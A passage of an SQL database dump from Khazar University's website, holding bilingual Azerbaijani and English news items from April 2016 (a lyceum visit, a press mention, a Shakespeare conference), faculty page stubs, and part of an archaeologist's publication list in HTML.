Ahmadli, the school director, met the administrative members in the entrance to the school.','<p>On April 20,\r\n2016, 11<sup>th</sup> grade students from Zakalar Lyceum had a meeting with the\r\nadministration of Khazar University. First Aygun Ahmadli, the school director,\r\nmet the administrative members in the entrance to the school. Over tea served\r\nin the delegation’s honor, she told them about the Lyceum and said that she\r\nappreciated the long-term partnership with Khazar University. Then an assembly\r\nwas held in the conference hall of the Lyceum, where she told students about\r\nKhazar University. Delegation members from Khazar who participated in the event\r\nincluded Dr. Hassan Niknafs, President; Professor Mahammad Nuriyev, Vice\r\nPresident for Academic Affairs; Isakhan Isakhanli, Vice President for Students\r\nand Administrative Affairs; Elza Samadova, Dean of the School of Education;\r\nAlovsat Amirbeyli, Director of Public Relations and Media; and students\r\nincluding Ismet Allazov, Taliya Huseynzada, Usama Ahmet Khand (Pakistan), Tendai\r\nSamantha Shereni (Zimbabwe) and others. </p>\r\n<p>The university\r\nadministration and students answered school pupils’ questions. Then the\r\ndirector of the school thanked the delegation for their visit.&nbsp;</p>'),(1595,990,'az','Xəzər Universiteti “Zəkalar”ın qonağı oldu','2016-cı il aprelin 20-də “Zəkalar” liseyində həmin liseyin 11-ci sinif şagirdləri ilə Xəzər Universiteti rəhbərliyinin görüşü keçirildi. Öncə məktəbin direktoru Aygün xanım Əhmədli girişdə universitet rəhbərliyini səmimi qarşıladı.','<p>2016-cı il aprelin 20-də “Zəkalar”\r\nliseyində həmin liseyin 11-ci sinif şagirdləri ilə Xəzər Universiteti rəhbərliyinin\r\ngörüşü keçirildi. Öncə məktəbin direktoru Aygün xanım Əhmədli girişdə universitet\r\nrəhbərliyini səmimi qarşıladı. A.Əhmədli əvvəlcə cay süfrəsi ətrafında\r\nuniversitet nümayəndələrinə “Zəkalar” liseyi haqqında geniş məlumat verdi və Xəzər\r\nUniversiteti ilə uzun müddətdir davam edən əməkdaşlıqdan məmnun olduğunu\r\nbildirdi. Sonra o, liseyin akt zalında toplaşan şagirdlərə Xəzər Universiteti\r\nhaqqında məlumat verdi. Şagirdlərlə görüşdə Xəzər Universitetinin rektoru\r\nprofessor Hassan Niknafs, Akademik işlər üzrə prorektor professor Məhəmməd\r\nNuriyev, İdarəetmə və tələbə işləri üzrə prorektor İsaxan İsaxanlı, Təhsil\r\nfakültəsinin dekanı Elza Səmədova və İctimai əlaqələr və media üzrə direktor\r\nƏlövsət Əmirbəyli, universitetin tələbələri İsmət Allazov, Taliyə Hüseynzadə,\r\nUsama Ahmet Khand (Pakistan), Tendai Samantha Shereni (Zimbabve) və digərləri\r\ngörüşdə iştirak etdilər. </p>\r\n<p>Universitetin rəhbərliyi və tələbələri\r\nşagirdləri maraqlandıran bütün suallara cavab verdilər. Məktəbin direktoru\r\nAygün Əhmədli maraqlı görüş üçün məktəbin kollektivi adından universitet rəhbərliyinə\r\ntəşəkkür etdi. </p>\r\n<p>Xatirə şəkilləri çəkildi.</p>'),(1598,992,'en','Discounts for Education','On April 22, 2016, an article was published on the official website of the Echo newspaper (in Russian) entitled “Discounts for Education.” The article quoted Prof. Hamlet Isaxanli, founder of Khazar University and Chairman of its Board of Directors and Trustees, as an expert in education.','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">On April 22, 2016, an article was\r\npublished on the official website of the Echo newspaper (in Russian) entitled\r\n“Discounts for Education.” The article quoted Prof. Hamlet Isaxanli, founder of\r\nKhazar University and Chairman of its Board of Directors and Trustees, as an\r\nexpert in education. Other experts cited in the article also evaluated Khazar\r\nUniversity’s experience. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">The full text of the article is available\r\nat the following link: </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://www.echo.az/article.php?aid=99507\">http://www.echo.az/article.php?aid=99507</a>.&nbsp;</p>'),(1599,992,'az','Təhsil üçün hansı endirimlər ola bilər',' 2016-cı il aprelin 22-də “Exo” (rus dilində) qəzetinin rəsmi internet səhifəsində “Təhsil üçün endirimlər” adlı araşdırma yazısı yayınlanmışdır. Yazıda təhsil üzrə ekspertlərdən biri kimi, Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlının fikirlərinə və təkliflərinə yer verilmişdir.','<p><strong>&nbsp;</strong>2016-cı\r\nil aprelin 22-də “Exo” (rus dilində) qəzetinin rəsmi internet səhifəsində “Təhsil\r\nüçün endirimlər” adlı araşdırma yazısı yayınlanmışdır. Yazıda təhsil üzrə\r\nekspertlərdən biri kimi, Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar\r\nŞurasının sədri professor Hamlet İsaxanlının fikirlərinə və təkliflərinə yer\r\nverilmişdir. Eyni zamanda, yazıda digər ekspertlər Xəzər Universitetinin təcrübəsini\r\nqiymətləndirmişlər.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Yazını\r\ntam şəkildə bu link vasitəsilə oxumaq olar:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://www.echo.az/article.php?aid=99507\">http://www.echo.az/article.php?aid=99507</a>.&nbsp;</p>'),(1600,993,'az','Saytlar Xəzər Universitetindəki tədbirdən yazdılar','2016-cı aprelin 22-də Xəzər Universitetinin və British Council-ın birgə təşkilatçılığı ilə universitetin “Neftçilər” kampusunda Uilyam Şekspirin ölümünün 400 illiyi ilə əlaqədar “Şekspir dünyada” mövzusunda keçirilən konfrans bir çox kütləvi informasiya vasitələrində işıqlandırılmışdır.','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2016-cı aprelin 22-də Xəzər\r\nUniversitetinin və British Council-ın birgə təşkilatçılığı ilə universitetin\r\n“Neftçilər” kampusunda Uilyam Şekspirin ölümünün 400 illiyi ilə əlaqədar “Şekspir\r\ndünyada” mövzusunda keçirilən konfrans bir çox kütləvi informasiya vasitələrində\r\nişıqlandırılmışdır.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Bu İnternet səhifələrinin liklərinə daxil\r\nolaraq tədbir haqqında daha geniş məlumat almaq olar:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://azertag.az/xeber/Bakida__quotSekspir_dunyada_movzusunda_konfrans_kechirilib-945103\">http://azertag.az/xeber/Bakida__quotSekspir_dunyada_movzusunda_konfrans_kechirilib-945103</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://525.az/site/?name=xeber&amp;news_id=55676\">http://525.az/site/?name=xeber&amp;news_id=55676</a>.</p>'),(1601,993,'en','Khazar University Event on Websites','On April 22, 2016, a conference entitled “Shakespeare in the World” jointly organized by Khazar University and British Council was held at the university in honor of the 400th anniversary of Shakespeare’s death. Articles about this conference were published on several news sites, including the following links:','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">On April 22, 2016, a conference entitled\r\n“Shakespeare in the World” jointly organized by Khazar University and British\r\nCouncil was held at the university in honor of the 400<sup>th</sup> anniversary\r\nof Shakespeare’s death. Articles about this conference were published on\r\nseveral news sites, including the following links: </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://azertag.az/xeber/Bakida__quotSekspir_dunyada_movzusunda_konfrans_kechirilib-945103\">http://azertag.az/xeber/Bakida__quotSekspir_dunyada_movzusunda_konfrans_kechirilib-945103</a>;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://525.az/site/?name=xeber&amp;news_id=55676\">http://525.az/site/?name=xeber&amp;news_id=55676</a>.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">&nbsp;</p>'),(1602,994,'az','“Şekspir dünyada” adlı konfrans keçirildi','2016-cı il aprelin 22-də Xəzər Universiteti və British Council-in birgə təşkilatçılığı ilə universitetin “Mərmər” zalında Uilyam Şekspirin ölümünün 400 illiyinə həsr olunmuş “Şekspir dünyada” adlı konfrans keçirdi.','<p>&nbsp;2016-cı il aprelin 22-də\r\nXəzər Universiteti və British Council-in birgə təşkilatçılığı ilə universitetin\r\n“Mərmər” zalında Uilyam Şekspirin ölümünün 400 illiyinə həsr olunmuş “Şekspir dünyada”\r\nadlı konfrans keçirdi.</p>\r\n<p>Konfransı giriş sözü ilə\r\nXəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri\r\nprofessor Hamlet İsaxanlı açaraq, qonaqları salamladı və belə bir konfransa ev\r\nsahibliyi etməkdən məmnun olduqları bildirdi.</p>\r\n<p>Sonra söz Böyük\r\nBritaniyanın Azərbaycandakı Fövqəladə və Səlahiyyətli səfiri İrfan Siddiqə\r\nverildi. Səfir i.Siddiq belə bir məsuliyyəti öz üzərinə götürdüyü üçün Xəzər\r\nUniversitetinə təşəkkürünü bildirdi.</p>\r\n<p>British Council-ın Azərbaycan\r\nüzrə direktoru Elizabet Vayt da tədbirlə bağlı fikirlərini bölüşdü.</p>\r\n<p>Daha sonra tədqiqatçılar\r\n–Lester Universitetindən (Birləşmiş Krallıq) professor Sarah Knight, İlia Dövlət\r\nUniversitetindən (Gürcüstan) Natalia Tvalçrelidze, Azərbaycanın müxtəlif təhsil\r\nocaqlarından Alla Bayramova, Sabir Mustafa, Qılıncxan Bayramov U.Şekspirlə\r\nbağlı apardıqları tədqiqatlardan təqdimatlar etdilər.</p>\r\n<p>Akademik yönümlü təqdimatlara\r\nəlavə olaraq, konfransda “Dünya” məktəbinin şagirdlərinin, Xəzər\r\nUniversitetinin tələbələrinin təqdimatları, film və qısa dram səhnələri nümayiş\r\netdirildi.</p>'),(1603,994,'en','“Shakespeare in the World” Conference ','On April 22, 2016, a conference entitled “Shakespeare in the World” jointly organized by Khazar University and British Council was held at the university in honor of the 400th anniversary of William Shakespeare’s death.','<p>On April 22, 2016, a conference entitled\r\n“Shakespeare in the World” jointly organized by Khazar University and British\r\nCouncil was held at the university in honor of the 400<sup>th</sup> anniversary\r\nof William Shakespeare’s death.</p>\r\n<p>Prof. Hamlet Isaxanli, Founder of the\r\nUniversity and Chairman of the Board of Directors and Trustees, opened the\r\nevent and welcomed the guests. </p>\r\n<p>Then the floor was given to H.E. Irfan\r\nSiddiq, Extraordinary and Plenipotentiary Ambassador of Great Britain to\r\nAzerbaijan. He thanked Khazar University for hosting the event. </p>\r\n<p>Ms Elizabeth White, Director of British\r\nCouncil in Azerbaijan, also shared her thoughts about the event. </p>\r\n<p>Then researchers gave lectures about\r\nShakespeare, including Professor Sarah Knight of Leicester University (UK),\r\nNatalia Tvalchrelidze of Ilia State University (Georgia), and Alla Bayramova,\r\nSabir Mustafa, and Gilinjkhan Bayramov from Azerbaijani universities. </p>\r\n<p>In addition to the academic lectures, the\r\nconference also included brief film and drama performances prepared by Dunya\r\nSchool pupils and Khazar University students. </p>\r\n<p>&nbsp;</p>'),(718,36,'az','XƏBƏRLƏR','XƏBƏRLƏR',''),(539,254,'az','Missiyası','Missiyası','<p>Tədqiqat əsaslı təhsil vasitəsilə biz qlobal problemlərin həllinə yardım etmək üçün tələbələr hazırlamalıyıq.&nbsp;İqtisadiyyat və Menecment fakültəsinin missiyası iqtisadiyyat və biznes idarəçiliyinin bütün əsas sahələrində biliyin inkişafı və ötürülməsinə kömək etməkdir. Fakültə fundamental və tətbiqi tədqiqatı gerçəkləşdirmək,&nbsp;biznes və iqtisadi tədqiqata əsaslanan ilkin və aspirant təhsil proqramlarını təmin etməklə bu missiyanı yerinə yetirməyə çalışır.&nbsp;</p><p>Fakültənin siyasəti nəsil gücünü gücləndirmək əminliyə əsaslanır və təşkilat yalnız bütün fəaliyyətinin keyfiyyətini ən yüksək səviyyədə əldə etməkdə ardıcıl məqsəd daşıyırsa, mükəmməlliyə çata bilər.<br style=\"margin-bottom:10px\"></p>'),(540,356,'az',' Bütün proqramlar',' Bütün proqramlar',''),(541,356,'en','All Programs','All Programs',''),(542,357,'az','Tarixi','Tarixi',''),(543,357,'en','History','History',''),(544,358,'az','Bakalavr dərəcəsi proqramı','Bakalavr dərəcəsi proqramı',''),(545,358,'en','Undergraduate Programs','Undergraduate Programs',''),(549,361,'en','Course Load Spring 2016','Course Load Spring 2016',''),(550,362,'en','Schedule of Final exams Fall 2015','Schedule of Final exams Fall 2015',''),(551,363,'az',' Final imtahan cədvəli',' Final imtahan cədvəli',''),(552,363,'en','Class Schedule Spring 2016','Class Schedule Spring 2016',''),(556,366,'az','Tələbələrin layihələri','Tələbələrin layihələri',''),(557,366,'en','Student Projects','Student Projects',''),(716,510,'az','XƏBƏRLƏR','XƏBƏRLƏR','XƏBƏRLƏR'),(717,510,'en','NEWS','NEWS',''),(554,365,'az','İşçi heyəti','İşçi heyəti',''),(555,365,'en',' Staff',' Staff',''),(553,364,'en','Courses','Courses',''),(546,359,'az','Magistr dərəcəsi proqramı','Magistr dərəcəsi proqramı',''),(547,359,'en',' Graduate Programs',' Graduate Programs',''),(548,360,'en','Summer school 2016 schedule','Summer school 2016 schedule',''),(564,370,'az','Yeganə Çağlayan','Yeganə Çağlayan','<h3><span style=\"color:#3a3b3b;font-family:Tahoma, Arial, Verdana, sans-serif;font-size:small;font-weight:bold;line-height:15px;text-align:justify;text-decoration:underline;background-color:#ffffff\"><a href=\"http://www.khazar.org/files/elazig_bildiri.pdf\">7. ULUSLARARASI &nbsp;DÜNYA &nbsp;DİLİ &nbsp;TÜRKÇE &nbsp;SEMPOZYUMU &nbsp;BİLDİRİLERİ&nbsp;</a></span></h3>'),(565,370,'en',' Yegane Chaglayan',' Yegane Chaglayan','<a href=\"http://www.khazar.org/files/elazig_bildiri.pdf\"><strong>7. ULUSLARARASI &nbsp;DÜNYA &nbsp;DİLİ &nbsp;TÜRKÇE &nbsp;SEMPOZYUMU &nbsp;BİLDİRİLERİ&nbsp;</strong></a>'),(566,371,'en','General information','General information','<p>Established in 1991, the School of Economics and Management (SEM) at Khazar University has become a leading business school in Azerbaijan, and has earned an international reputation for its commitment to quality and innovation in the design and delivery of its programs and courses. It has been a pioneer in the introduction and development of an open Western learning system in Azerbaijan, adapted to the regional needs.</p><p>The SEM offers undergraduate, graduate and professional programs leading to Bachelor\'s, Master\'s and Ph.D. degrees. With its outstanding faculty and dedicated students, the School envisions its mission as developing specialists in Economics, International Economics, Marketing, Finance, Accounting, Management, International Business and other areas, who could successfully perform in national and international business environments.</p><p>The School’s graduate programs are specifically designed to meet academic requirements of successful and experienced business people, as well as those coming to business for the first time, and to provide an in-depth understanding of business and management.</p><div><h1><strong>Rationale and Objectives<br>&nbsp;</strong></h1></div><p>To manage successfully in the modern market economy specialists with various business background and majors are required. The SEM is committed to teaching and research in various areas of Economics and Business.</p><p>The School maintains very close contacts with the local business community, international organizations and financial institutions.</p><div>The objectives of the school are to:<br><table><tbody><tr><td>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</td><td><div><ul><li>create an educational platform upon which the graduates can build business and social capability through</li><li>a lifetime of continuing growth and development</li><li>provide career opportunities in a wide variety of professional fields</li><li>provide a general understanding of managerial processes that apply to both private and public sectors</li></ul></div></td></tr></tbody></table></div>'),(558,367,'az','Roza Arazova','Roza Arazova','<div><br></div><div style=\"font-size:medium\"><br></div><div> <div style=\"font-size:medium\"><p style=\"font-family:\'times new roman\', times, serif;background:undefined \">Tarix və arxeologiya departamenti Roza Arazovanın elmi əsərlərinin siyahısı</p><p style=\"font-family:\'times new roman\', times, serif;background:undefined \"><br></p><table cellspacing=\"0\" cellpadding=\"0\" style=\"font-family:\'times new roman\', times, serif\"><tbody><tr><td width=\"30\"><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \">#</p></td><td width=\"174\"><p style=\"background:undefined \"><strong>Title of publication</strong><strong>&nbsp;</strong></p></td><td width=\"144\"><p style=\"background:undefined \"><strong>Publications type/publication activities</strong></p><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"96\"><p style=\"background:undefined \"><strong>All Authors</strong><strong>&nbsp;</strong></p></td><td width=\"96\"><p style=\"background:undefined \"><strong>Publisher &amp; Place of&nbsp; Publication</strong><strong>&nbsp;</strong></p></td><td width=\"60\"><p style=\"background:undefined \"><strong>Year Published</strong><strong>&nbsp;</strong></p></td><td width=\"66\"><p style=\"background:undefined \"><strong>Vol. &amp; Pages</strong><strong>&nbsp;</strong></p></td><td width=\"42\"><p style=\"background:undefined \"><strong>Hard copy</strong></p><p style=\"background:undefined \"><strong>Yes/No</strong><strong>&nbsp;</strong></p></td><td width=\"36\"><p style=\"background:undefined \"><strong>eVersion</strong></p><p style=\"background:undefined \"><strong>Yes/No</strong><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p style=\"background:undefined \">Использование твердых пород камня обитателями энеолитического поселения Шомутепе.</p></td><td width=\"144\"><p style=\"background:undefined \">Материалы к сессии, посвященной итогам археологических и этнографических изысканий 1970 г. в&nbsp; Азербайджане.</p></td><td width=\"96\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"96\"><p style=\"background:undefined \">Баку</p></td><td width=\"60\"><p style=\"background:undefined \">1971 г.</p></td><td width=\"66\"><p style=\"background:undefined \">2 стр.</p></td><td width=\"42\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"36\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p style=\"background:undefined \">Скоблящие орудия из Шомутепе.</p></td><td width=\"144\"><p style=\"background:undefined \">Материалы сессии, посвященной итогам археологических и этнографических исследований 1971 года в Азербайджане.</p></td><td width=\"96\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"96\"><p style=\"background:undefined \">Баку,</p></td><td width=\"60\"><ol><li>1972 г. 1972 г.</li></ol><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"66\"><p style=\"background:undefined \">2 стр</p></td><td width=\"42\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"36\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p style=\"background:undefined \">Каменные орудия из поселения Гаргалартепе</p></td><td width=\"144\"><p style=\"background:undefined \">«Ученые записки» АГУ им. С.М.Кирова (сер: история и философия)</p></td><td width=\"96\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"96\"><p style=\"background:undefined \">Баку</p></td><td width=\"60\"><p style=\"background:undefined \">1972</p></td><td width=\"66\"><p style=\"background:undefined \">№6 7 стр.</p></td><td width=\"42\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"36\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p style=\"background:undefined \">Энеолитическое поселение Гаргалартепеси.</p></td><td width=\"144\"><p style=\"background:undefined \">Археологические открытия 1971 года</p></td><td width=\"96\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"96\"><p style=\"background:undefined \">Москва</p></td><td width=\"60\"><p style=\"background:undefined \">1972</p></td><td width=\"66\"><p style=\"background:undefined \">3</p><p style=\"background:undefined \">стр.</p><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"42\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"36\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p style=\"background:undefined \">Типологическое изучение обсидиановых орудий из Иланлытепе</p></td><td width=\"144\"><p style=\"background:undefined \">Археологические открытия 1971 года</p></td><td width=\"96\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"96\"><p style=\"background:undefined \">Москва</p></td><td width=\"60\"><p style=\"background:undefined \">1972</p></td><td width=\"66\"><p style=\"background:undefined \">3стр</p></td><td width=\"42\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"36\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p style=\"background:undefined \">Каменные острия из энеолитических поселений Азербайджана</p></td><td width=\"144\"><p style=\"background:undefined \">Итоги полевых археологических и этнографических исследований за 1972 г. в Азерб. ССР.</p></td><td width=\"96\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"96\"><p style=\"background:undefined \">Баку</p></td><td width=\"60\"><p style=\"background:undefined \">1973</p></td><td width=\"66\"><p style=\"background:undefined \">2 стр</p></td><td width=\"42\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"36\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p style=\"background:undefined \">Раскопки на энеолитическом поселении Гаралартепеси</p></td><td width=\"144\"><p style=\"background:undefined \">Археологические открытия 1972 года</p></td><td width=\"96\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"96\"><p style=\"background:undefined \">Москва</p></td><td width=\"60\"><p style=\"background:undefined \">1973</p></td><td width=\"66\"><p style=\"background:undefined \">2 стр</p></td><td width=\"42\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"36\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p style=\"background:undefined \">Вкладыши серпов из энеолитического поселения Шомутепе</p></td><td width=\"144\"><p style=\"background:undefined \">Доклады АН Азерб. ССР</p></td><td width=\"96\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"96\"><p style=\"background:undefined \">Баку</p></td><td width=\"60\"><p style=\"background:undefined \">1974</p></td><td width=\"66\"><p style=\"background:undefined \">№5</p><p style=\"background:undefined \">5 стр.</p></td><td width=\"42\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"36\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p style=\"background:undefined \">Исследования в Кубинском районе.</p></td><td width=\"144\"><p style=\"background:undefined \">Археологические открытия 1975 года</p></td><td width=\"96\"><p style=\"background:undefined \">Халилов Д.А., Гусейнова Л.Г.</p></td><td width=\"96\"><p style=\"background:undefined \">Москва</p></td><td width=\"60\"><p style=\"background:undefined \">1976</p></td><td width=\"66\"><p style=\"background:undefined \">2 стр</p></td><td width=\"42\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"36\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p style=\"background:undefined \">Раскопки горизонта II поселения Аликемектепеси</p></td><td width=\"144\"><p style=\"background:undefined \">Археологические открытия 1976 года.</p></td><td width=\"96\"><p style=\"background:undefined \">Махмудов Ф., Нариманов И., Гашгай С.М.</p></td><td width=\"96\"><p style=\"background:undefined \">Москва</p></td><td width=\"60\"><p style=\"background:undefined \">1977</p></td><td width=\"66\"><p style=\"background:undefined \">2 стр</p></td><td width=\"42\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"36\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p style=\"background:undefined \">Исследования в Гусарском районе</p></td><td width=\"144\"><p style=\"background:undefined \">Археологические открытия 1976 года</p></td><td width=\"96\"><p style=\"background:undefined \">Халилов Д.А., Гусейнова Л.Г., Ахундов Т.И.</p></td><td width=\"96\"><p style=\"background:undefined \">Москва</p></td><td width=\"60\"><p style=\"background:undefined \">1977</p></td><td width=\"66\"><p style=\"background:undefined \">1 стр.</p></td><td width=\"42\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"36\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p style=\"background:undefined \">О поселении Джиннитепе</p></td><td width=\"144\"><p style=\"background:undefined \">Доклады АН Азерб. ССР</p></td><td width=\"96\"><p style=\"background:undefined \">Нариманов И.Г., Махмудов Ф.Р.</p></td><td width=\"96\"><p style=\"background:undefined \">Баку</p></td><td width=\"60\"><p style=\"background:undefined \">1977</p></td><td width=\"66\"><p style=\"background:undefined \">№6 4 стр.</p></td><td width=\"42\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"36\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p style=\"background:undefined \">Археологические раскопки Рустовского могильника в 1975 г.</p></td><td width=\"144\"><p style=\"background:undefined \">Археологические и этнографические изыскания в Азербайджане в 1975 году.</p></td><td width=\"96\"><p style=\"background:undefined \">Халилов Д.А, Гусейнова Л.Г., Ахундов T.И.</p></td><td width=\"96\"><p style=\"background:undefined \">Баку</p></td><td width=\"60\"><p style=\"background:undefined \">1978</p></td><td width=\"66\"><p style=\"background:undefined \">4 стр.</p></td><td width=\"42\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"36\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p style=\"background:undefined \">Сравнительное изучение обсидиана из энеолитических поселений Азербайджана и месторождений Закавказья.</p></td><td width=\"144\"><p style=\"background:undefined \">Известия АН Азерб. ССР (серия: история и философия),</p></td><td width=\"96\"><p style=\"background:undefined \">Мамедов A.</p></td><td width=\"96\"><p style=\"background:undefined \">Баку</p></td><td width=\"60\"><p style=\"background:undefined \">1979</p></td><td width=\"66\"><p style=\"background:undefined \">№3, 8 стр.</p></td><td width=\"42\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"36\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p style=\"background:undefined \">Археологические памятники Кусарского района.</p></td><td width=\"144\"><p style=\"background:undefined \">Археологические изыскания в Азербайджане в 1976 году.</p></td><td width=\"96\"><p style=\"background:undefined \">&nbsp;</p></td><td width=\"96\"><p style=\"background:undefined \">Баку</p></td><td width=\"60\"><p style=\"background:undefined \">1979</p></td><td width=\"66\"><p style=\"background:undefined \">4 стр</p></td><td width=\"42\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"36\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p style=\"background:undefined \">Исследования в Хачмазском районе</p></td><td width=\"144\"><p style=\"background:undefined \">Археологические этнографические изыскания в Азербайджане в 1975 году.</p></td><td width=\"96\"><p style=\"background:undefined \">Халилов Д., Расулова M., Гошгарлы Г.О. и др.</p></td><td width=\"96\"><p style=\"background:undefined \">Баку</p></td><td width=\"60\"><p style=\"background:undefined \">1978</p></td><td width=\"66\"><p style=\"background:undefined \">2 стр</p></td><td width=\"42\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"36\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p style=\"background:undefined \">Исследования на северо-восточных склонах Большого Кавказского хребта.</p></td><td width=\"144\"><p style=\"background:undefined \">Археологические открытия 1978 году.</p></td><td width=\"96\"><p style=\"background:undefined \">Халилов Д.А., Гошгарлы Г.О., Ахундов T.M.</p></td><td width=\"96\"><p style=\"background:undefined \">Москва</p></td><td width=\"60\"><p style=\"background:undefined \">1979</p></td><td width=\"66\"><p style=\"background:undefined \">1 стр</p></td><td width=\"42\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"36\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"30\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"174\"><p style=\"background:undefined \">О двух поселениях ранней бронзы из Кусарского района</p></td><td width=\"144\"><p style=\"background:undefined \">Доклады АН Азекрб. ССР</p></td><td width=\"96\"><p style=\"background:undefined \">&nbsp;</p></td><td width=\"96\"><p style=\"background:undefined \">Баку</p></td><td width=\"60\"><p style=\"background:undefined \">1980</p></td><td width=\"66\"><p style=\"background:undefined \">№1</p><p style=\"background:undefined \">5 стр</p></td><td width=\"42\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"36\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td 